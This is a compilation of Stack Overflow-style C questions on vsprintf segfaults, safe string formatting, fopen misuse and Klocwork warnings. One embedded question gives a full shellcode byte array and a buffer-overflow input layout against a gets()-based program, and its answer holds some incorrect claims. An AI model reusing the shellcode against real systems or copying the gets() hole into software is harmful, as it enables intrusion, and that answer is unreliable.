What causes vsprintf to throw a segmentation fault? - c

I am writing a simple wrapper for syslog to make logging from my program a bit easier and allow dumping log entries to the console when selected. I have the following log function defined
void logDebugFunction (int lineNumber, char* filename, const char* functionName, char* format, ...)
{
if (LOG_DEBUG >= argPtr->logLevel)
{
char buffer[1000];
char *entry;
va_list args;
va_start(args, format);
vsprintf(buffer, format, args);
va_end(args);
sprintf(entry, "%s:%d - %s - %s",filename, lineNumber, functionName, buffer);
syslog(LOG_MAKEPRI(0, (LOG_DEBUG)), "%s", entry);
if (argPtr->verbose)
{
// Print to stdout too
printf( "%s", entry);
printf("\n");
}
}
}
Which is called through the following macro:
#define logDebug(format,...) logDebugFunction(__LINE__, __FILE__, __func__, format, __VA_ARGS__)
From the main function, which is as follows:
int main(int argc, char *argv[])
{
// Set up syslog connection
openlog("ARController", LOG_CONS|LOG_PID|LOG_NDELAY, LOG_DAEMON);
// Set up our global arguments
struct arguments arguments;
argPtr = &arguments;
// set default values
arguments.verbose = 0;
arguments.foreground = 0;
arguments.logLevel = LOG_WARNING;
// Send a test debug message
logDebug("Test Debug message %d %s", 5, "a string");
// Close our syslog connection
closelog();
}
Now, when I try to run the only output I get is Segmentation fault (core dumped), obviously not what I want.
I've done some investigation using gdb and the --save-temps flag to verify the following:
In main.i I can see that the logDebug call in main has been replaced with logDebugFunction(72, "src/main.c", __func__, "Test Debug message %d %s", 5, "a string"); which is what I'd expect to see here.
When running, the segfault happens at the first vsprintf line in logDebugFunction
Just before the call to vsprintf all the mandatory arguments of the function are correct:
Breakpoint 2, logDebugFunction (lineNumber=72, filename=0x401450 "src/main.c", functionName=0x4014d3 <__func__.4035> "main", format=0x401437 "Test Debug message %d %s")
The va_list entries are what I'd expect them to be as shown by the following gdb commands (found here)
(gdb) p *(int *)(((char*)args[0].reg_save_area)+args[0].gp_offset)
$5 = 5
(gdb) p *(char * *)(((char*)args[0].reg_save_area)+args[0].gp_offset+8)
$6 = 0x40142e "a string"
When I step into the vsprintf call it seems like the arguments are correct: __IO_vsprintf (string=0x7ffffffedb40 "\200V", format=0x401437 "Test Debug message %d %s", args=0x7ffffffedb28) at iovsprintf.c:32`
So as everything seems to be in order I'm a bit lost as to what the issue is and what steps I can take next.

I don't see anything wrong (ignoring that there are no sanity checks) with the way you use va_list & vsprintf, so it could be that it needs more than 1000 charcaters and buffer is simply not large enough or your passing the argumnts in the wrong way? Have you tried using vprintf for debug purposes?
But I see a definitive problem in the next lines:
char *entry;
...
sprintf(entry, "%s:%d - %s - %s",filename, lineNumber, functionName, buffer);
entry is a unitialized pointer, pointing to nowhere. If you try to read/write through that pointer, then you get an undefined behaviour. A segfault is the result of that.
With snprintf you can get the length of the expression and then with malloc dynamically allocate memory for it (fon't forget to free it afterwards). Or you can do
char entry[1024];
...
sprintf(entry, "%s:%d - %s - %s",filename, lineNumber, functionName, buffer);
assuming that no entry will be longer than 1023 characters.
EDIT request from the comment to elaborate on getting length from snprintf
Let's start with the signature of the function
#include <stdio.h>
int snprintf(char *str, size_t size, const char *format, ...);
The man page description of says:
man page printf(3)
The functions snprintf() and vsnprintf() write at most size bytes
(including the terminating null byte ('\0')) to str.
If you want to just get the length, set size to 0 and str to NULL
int msglen = snprintf(NULL, 0, fmt, exp1, exp2, exp3,...);
Bear in mind that this behaviour is conform to C99. Compiling with an older compilier or older C standard might give you unspecified return value.

there is no checks that format does match passed arguments (see __attribute__ ((format (printf);
there are no checks that pointers are not null;
there is no check that buffer is large enough to hold the given string (use functions taking buffer size such as snprintf);
sprintf(entry, uses uninitialized variable entry instead of suitable buffer causing Undefined Behavior, attempt to write at random location pointed to by entry is the most likely reason for a segfault.

In my case I encountered this when I accidentally returned in a function that was marked _Noreturn in a header (but not in function itself) when writing C11.
This mistake did not cause a compilation error, didn't emit a warning (with -Wall) and wasn't caught by neither address sanitizer (asan) or thread sanitizer (tsan), but code execution after that return was bonkers and it gave me misleading call traces.

Related

Format strings safely when vsnprintf is not available

I am writing code that needs to format a string, and I want to avoid buffer overruns.
I know that if vsnprintf is available (C99 onwards) we can do:
char* formatString(const char *format, ...)
{
char* result = NULL;
va_list ap;
va_start(ap, format);
/* Get the size of the formatted string by getting vsnprintf return the
* number of remaining characters if we ask it to write 0 characters */
int size = vsnprintf(NULL, 0, format, ap);
if (size > 0)
{
/* String formatted just fine */
result = (char *) calloc(size + 1, sizeof(char));
vsnprintf(result, size + 1, format, ap);
}
va_end(ap);
return result;
}
I can't figure out a way of doing something similar in C90 (without vsnprintf). If it turns out to not be possible without writing extremely complex logic I'd be happy to set a maximum length for the result, but I'm not sure how that could be achieved either without risking a buffer overrun.
Pre-C99 affords no simply solution to format strings with a high degree of safety of preventing buffer overruns.
It is those pesky "%s", "%[]", "%f" format specifiers that require so much careful consideration with their potential long output. Thus the need for such a function. #Jonathan Leffler
To do so with those early compilers obliges code to analyze format and the arguments to find the required size. At that point, code is nearly there to making you own complete my_vsnprintf(). I'd seek existing solutions for that. #user694733.
Even with C99, there are environmental limits for *printf().
The number of characters that can be produced by any single conversion shall be at least 4095. C11dr §7.21.6.1 15
So any code that tries to char buf[10000]; snprintf(buf, sizeof buf, "%s", long_string); risks problems even with a sufficient buf[] yet with strlen(long_string) > 4095.
This implies that a quick and dirty code could count the % and the format length and make the reasonable assumption that the size needed does not exceed:
size_t sz = 4095*percent_count + strlen(format) + 1;
Of course further analysis of the specifiers could lead to a more conservative sz. Continuing down this path we end at writing our own my_vsnprintf().
Even with your own my_vsnprintf() the safety is only so good. There is no run-time check that the format (which may be dynamic) matches the following arguments. To do so requires a new approach.
Cheeky self advertisement for a C99 solution to insure matching specifiers and arguments: Formatted print without the need to specify type matching specifiers using _Generic.
Transferring comments to answer.
The main reason vsnprintf() was added to C99 was that it is hard to protect vsprintf() or similar. One workaround is to open /dev/null, use vfprintf() to format the data to it, note how big a result was needed, and then decide whether it is safe to proceed. Icky, especially if you open the device on each call.
That means your code might become:
#include <assert.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
extern char *formatString(const char *format, ...);
char *formatString(const char *format, ...)
{
static FILE *fp_null = NULL;
if (fp_null == NULL)
{
fp_null = fopen("/dev/null", "w");
if (fp_null == NULL)
return NULL;
}
va_list ap;
va_start(ap, format);
int size = vfprintf(fp_null, format, ap);
va_end(ap);
if (size < 0)
return NULL;
char *result = (char *) malloc(size + 1);
if (result == NULL)
return NULL;
va_start(ap, format);
int check = vsprintf(result, format, ap);
va_end(ap);
assert(check == size);
return result;
}
int main(void)
{
char *r1 = formatString("%d Dancing Pigs = %4.2f%% of annual GDP (grandiose dancing pigs!)\n",
34241562, 21.2963);
char *r2 = formatString("%s [%-13.10s] %s is %d%% %s\n", "Peripheral",
"sub-atomic hyperdrive", "status", 99, "of normality");
if (r1 != NULL)
printf("r1 = %s", r1);
if (r2 != NULL)
printf("r2 = %s", r2);
free(r1);
free(r2);
return 0;
}
As written with fp_null a static variable inside the function, the file stream cannot be closed. If that's a bother, make it a variable inside the file and provide a function to if (fp_null != NULL) { fclose(fp_null); fp_null = NULL; }.
I'm unapologetically assuming a Unix-like environment with /dev/null; you can translate that to NUL: if you're working on Windows.
Note that the original code in the question did not use va_start() and va_end() twice (unlike this code); that would lead to disaster. In my opinion, it is a good idea to put the va_end() as soon after the va_start() as possible — as shown in this code. Clearly, if your function is itself stepping through the va_list, then there will be a bigger gap than shown here, but when you're simply relaying the variable arguments to another function as here, there should be just the one line in between.
The code compiles cleanly on a Mac running macOS 10.14 Mojave using GCC 8.2.0 (compiled on macOS 10.13 High Sierra) with the command line:
$ gcc -O3 -g -std=c90 -Wall -Wextra -Werror -Wmissing-prototypes \
> -Wstrict-prototypes vsnp37.c -o vsnp37
$
When run, it produces:
r1 = 34241562 Dancing Pigs = 21.30% of annual GDP (grandiose dancing pigs!)
r2 = Peripheral [sub-atomic ] status is 99% of normality

immunity debugger err : "access violation when reading [90909090]"

I'm getting this error in immunity debugger:
access violation when reading [90909090]
I want to exploit a simple c code: I give it a long input to rewrite return address, when it jumps to the new return address and starts running my shellcode, I get the error.
Here is my c code:
#include <stdio.h>
int main(int argc ,char** argv)
{
int cookie;
char buffer[300];
printf(" buffer : %08x\r\n",&buffer);
gets(buffer);
return 0;
}
and this is my shellcode:
0xbd,0xec,0xf4,0xe7,0x5a,0xdb,0xd2,0xd9,0x74,0x24,0xf4,0x58,
0x31,0xc9,0xb1,0x32,0x31,0x68,0x12,0x03,0x68,0x12,0x83,0x2c,
0xf0,0x05,0xaf,0x50,0x11,0x40,0x50,0xa8,0xe2,0x33,0xd8,0x4d,
0xd3,0x61,0xbe,0x06,0x46,0xb6,0xb4,0x4a,0x6b,0x3d,0x98,0x7e,
0xf8,0x33,0x35,0x71,0x49,0xf9,0x63,0xbc,0x4a,0xcf,0xab,0x12,
0x88,0x51,0x50,0x68,0xdd,0xb1,0x69,0xa3,0x10,0xb3,0xae,0xd9,
0xdb,0xe1,0x67,0x96,0x4e,0x16,0x03,0xea,0x52,0x17,0xc3,0x61,
0xea,0x6f,0x66,0xb5,0x9f,0xc5,0x69,0xe5,0x30,0x51,0x21,0x1d,
0x3a,0x3d,0x92,0x1c,0xef,0x5d,0xee,0x57,0x84,0x96,0x84,0x66,
0x4c,0xe7,0x65,0x59,0xb0,0xa4,0x5b,0x56,0x3d,0xb4,0x9c,0x50,
0xde,0xc3,0xd6,0xa3,0x63,0xd4,0x2c,0xde,0xbf,0x51,0xb1,0x78,
0x4b,0xc1,0x11,0x79,0x98,0x94,0xd2,0x75,0x55,0xd2,0xbd,0x99,
0x68,0x37,0xb6,0xa5,0xe1,0xb6,0x19,0x2c,0xb1,0x9c,0xbd,0x75,
0x61,0xbc,0xe4,0xd3,0xc4,0xc1,0xf7,0xbb,0xb9,0x67,0x73,0x29,
0xad,0x1e,0xde,0x27,0x30,0x92,0x64,0x0e,0x32,0xac,0x66,0x20,
0x5b,0x9d,0xed,0xaf,0x1c,0x22,0x24,0x94,0xd3,0x68,0x65,0xbc,
0x7b,0x35,0xff,0xfd,0xe1,0xc6,0xd5,0xc1,0x1f,0x45,0xdc,0xb9,
0xdb,0x55,0x95,0xbc,0xa0,0xd1,0x45,0xcc,0xb9,0xb7,0x69,0x63,
0xb9,0x9d,0x09,0xe2,0x29,0x7d,0xce
shell has 224 byte length and return address is on offset 312, so my input has this format:
shellcode+'\x90'*88+ReturnAddress
printf() statement is wrong in your code, an & nut needed:
printf(" buffer : %08x\r\n", &buffer);
^ remove
Next, you char buffer[300]; has garbage values, even if you remove &, it will cause an Undefined behavior.
Note: as David RF noticed you are using gets() that is deprecated. You should use char * fgets ( char * str, int num, FILE * stream ); function instead to avoid buffer-overflow attack.
bwt, Its first time I am reading a program in which buffer is printf before reading from user! (Why so?)

Function not getting called

I'm implementing a http server in C. I have a custom function for writing headers. When I call it, it doesn't do anything. I have placed an arbitrary printf inside the function, to make sure that it's called, and it doesn't produce output too. Program compiles with success, and works normally as intended, aside from this issue. I can connect to server, which results in empty response due to this problem. I can easily use fprintf instead, but I want to understand the problem. The function is declared as follows:
void write_response_ln(FILE *fp, char *format, ...)
{
va_list args;
printf("dsgsfdg");
strcat(format, "\r\n");
va_start(args, format);
vfprintf(fp, format, args);
va_end(args);
}
It is located in it's own file, apart from the file in which the caller is. Even though it is called 4 times, client processes report empty response. Why does this happen? BTW I'm using gcc 4.7 on linux to compile this.
Here is the caller function:
static pid_t handle_connection(size_t bfrsz, int fd_connect, pid_t kid_pid)
{
int c;
char *headers = malloc(bfrsz);
FILE *res = fdopen(fd_connect, "a+");
kid_pid = getpid();
bzero(headers, bfrsz);
fgets(headers, bfrsz, res);
fprintf(stdout, "REQ: %s\n", headers);
write_response_ln(res, "HTTP 200 OK");
write_response_ln(res, "Content-Type:text/html");
write_response_ln(res, "");
write_response_ln(res, "I don't have a parser yet.");
fclose(res);
// Commit suicide.
printf("Transaction: Complete: Kill: [%d]\n", kid_pid);
sleep(1);
kill(kid_pid, SIGINT);
free(headers);
return kid_pid;
}
And a go with the gdb gave me this:
(gdb) break write_response_ln
Breakpoint 1 at 0x400f80: file headers.c, line 8.
(gdb) run
Starting program: /home/goktug/code/server/src/server
Program received signal SIGSEGV, Segmentation fault.
0x0000003491239f24 in ____strtoll_l_internal () from /lib64/libc.so.6
Missing separate debuginfos, use: debuginfo-install glibc-2.15-58.fc17.x86_64
As a little note, I haven't done the getopt part yet, so the program segfaults when called without arguments.
You are using string literals, which are constants:
write_response_ln(res, "HTTP 200 OK");
and you are trying to modify them:
strcat(format, "\r\n");
Instead, use a temporary non-constant buffer and copy the format first.

C segmentation faults due to fopen(). How to trace and what to look for?

(this was asked on ffmpeg-devel list, but counted way offtopic, so posting it here).
ffmpeg.c loads multiple .c's, that are using log.c's av_log -> av_log_default_callback function, that uses fputs;
void av_log_default_callback(void* ptr, int level, const char* fmt, va_list vl)
{
...
snprintf(line, sizeof(line), "[%s # %p] ", (*parent)->item_name(parent), parent);
... call to colored_fputs
Screen output:
static void colored_fputs(int level, const char *str){
...
fputs(str, stderr);
// this causes sigsegv just by fopen()
FILE * xFile;
xFile = fopen('yarr', 'w');
//fputs(str, xFile);fclose(xFile); // compile me. BOOM!
av_free(xFile); // last idea that came, using local free() version to avoid re-creatio
Each time, when fopen is put into code, it gives a segmentation fault of unknown reason. Why this kind of thing may happen here? Maybe due to blocking main I/O?
What are general 'blockers' that should be investigated in such a situation? Pthreads (involved in code somewhere)?
fopen takes strings as arguments, you're giving it char literals
xFile = fopen('yarr', 'w');
Should be
xFile = fopen("yarr", "w");
if(xFile == NULL) {
perror("fopen failed");
return;
}
The compiler should have warned about this, so make sure you've turned warning flags on (remeber to read them and fix them)

Not null terminated string - a KlocWork error with no understandable reason

I've recently installed "klocwork" and am trying to get rid of bugs on an existing code.
The error shown seems to be simple. No null at the termination of the char * _p_.
I have manually added a null termination (even though there is no need), but it doesn't please the Klocwork. Any ideas?
The exact message is:-
Incorrectly terminated string 'p' causes a buffer overflow in p.
char *ptr;
int writtenchars = 0 ;
va_list args;
char* destStr;
if (argc != 2) {
printf(" wrong parameters number - %d instead of %d\n", argc, 2);
char str[25]="wrong parameters number ";
char *_p_; /********************************************************/
va_start(args, str);
destStr = (char*) malloc(SNMP_BUF_LEN);
_p_= destStr;
if (destStr == NULL) {
printf("WARNING: Failed to alloc memory in in function \"snmp_rebuildstringinbuf!!!\" \n");
destStr="kukuRiko";
}
else {
writtenchars = (int) vsnprintf(destStr, 4095, str, args);
if (writtenchars>SNMP_BUF_LEN) {
printf("WARNING: Too long string rebuilded in function \"snmp_rebuildstringinbuf!!!\" %d chars\n",writtenchars);
}
destStr[writtenchars] = '\0' ; //Moshe - making sure the last value of the string is null terminated in order to prevent future buffer overflows.
}
va_end(args);
/******************************************************************************/
//The KlocWork error relates to this line //
logCWriteLog_msg(moduleId, level, __FILE__, __LINE__, _p_, ltrue);
free (_p_);
===========================================================
Hi Guys,
Thanks for your answers, but it seems a bit more obscure than that. I have refined the code to this simple case:-
When the code is written all in one function there is no error, whereas, when the allocation section is wrapped in a function (and a text passed as parameter) the Klocwork error returns.
See this code:- version without an error:-
char *_p_; /*+++++++++++++++++++*/
int writtenchars = 0 ;
va_list args;
char* destStr;
char* str = "hello World";
va_start(args, str);
destStr = (char*)malloc(SNMP_BUF_LEN);
if (destStr == NULL) {
printf("WARNING: Failed to alloc memory in function \n");
}
else {
writtenchars = (int) vsnprintf(destStr, (SNMP_BUF_LEN) - 1, str, args);
}
/*+++++++++++++++++++*/
_p_ = destStr ;
if (_p_ != NULL) {
logCWriteLog_msg(moduleId, level, __FILE__, __LINE__, _p_, ltrue);
}
free (_p_);
/***********************************************************/
whereas when taking the code between /*++++ */ and wrapping it in a function returns the above KlocWork error.
Hence,
char *writingToSomeBuffer (char * str) {
int writtenchars = 0 ;
va_list args;
char* destStr;
va_start(args, str);
destStr = (char*)malloc(SNMP_BUF_LEN);
if (destStr == NULL) {
printf("WARNING: Failed to alloc memory in function \n");
}
else {
writtenchars = (int) vsnprintf(destStr, (SNMP_BUF_LEN) - 1, str, args);
}
return destStr;
}
int main () {
char *_p_;
_p_ = writingToSomeBuffer("hello world");
if (_p_ != NULL) {
logCWriteLog_msg(moduleId, level, __FILE__, __LINE__, _p_, ltrue);
}
free (_p_);
return 0 ;
}
any ideas?
KlocWork is correctly diagnosing the problem that you can be writing with a null pointer if memory allocation fails:
_p_= destStr;
if (destStr == NULL)
{
printf("WARNING: Failed to alloc memory in in function ...\n");
destStr = "kukuRiko";
At this point, the (horribly named) '_p_' variable is still null, but you go ahead and use it in the printing operation below.
Also note that the 'trivial' fix of adding '_p_' after this breaks your memory management; you later do 'free(_p_);' which will lead to horrible problems if '_p_' points to the constant string.
You also have 'memory in in function' in the message. And 'wrong parameters number' does mean roughly the same as 'wrong number of parameters' but the latter is more idiomatic English. I'm not convinced any of the exclamation marks are helpful in the error message; there is a strong argument that they should go outside the double quotes surrounding the function name even if one of them is deemed desirable.
With the revised version of the problem, I wonder if Klocwork is diagnosing what Microsoft says of its vsnprintf(), that it does not guarantee null termination (which is different from what C99 and POSIX says).
Jonathan has it right. We've recently broken up this checker into two families that might explain it better:
http://www.klocwork.com/products/documentation/Insight-9.1/Checkers:NNTS.MIGHT
http://www.klocwork.com/products/documentation/Insight-9.1/Checkers:NNTS.MUST
We are currently under development to clean this up and make it easier to understand. Not only the problem but the solution as well.
Klocwork's error aside, I think this code is wrong. Why are you limiting the vsnprintf to 4096, while the buffer size is SNMP_BUF_LEN? How do those two related to each other? If SNMP_BUF_LEN < 4096, then you may have just overflowed your buffer. Why wouldn't you pass SNMP_BUF_LEN as the limiting argument in vsnprintf?
Also, the write to destStr[writtenchars] is suspect. Depending on the variant of vsnprintf (they do vary), writtenchars might be the number of characters it wanted to write, which would again cause you to write past the end of your buffer.
That all said, Klocwork isn't perfect. We had macros that were very explicitly trying to be safe, and Klocwork mis-detected them as potentially overrunning the string. I think that was a snprintf case as well.
Overall a good product, but it does have a few holes and you can't fix all it's complaints.

Resources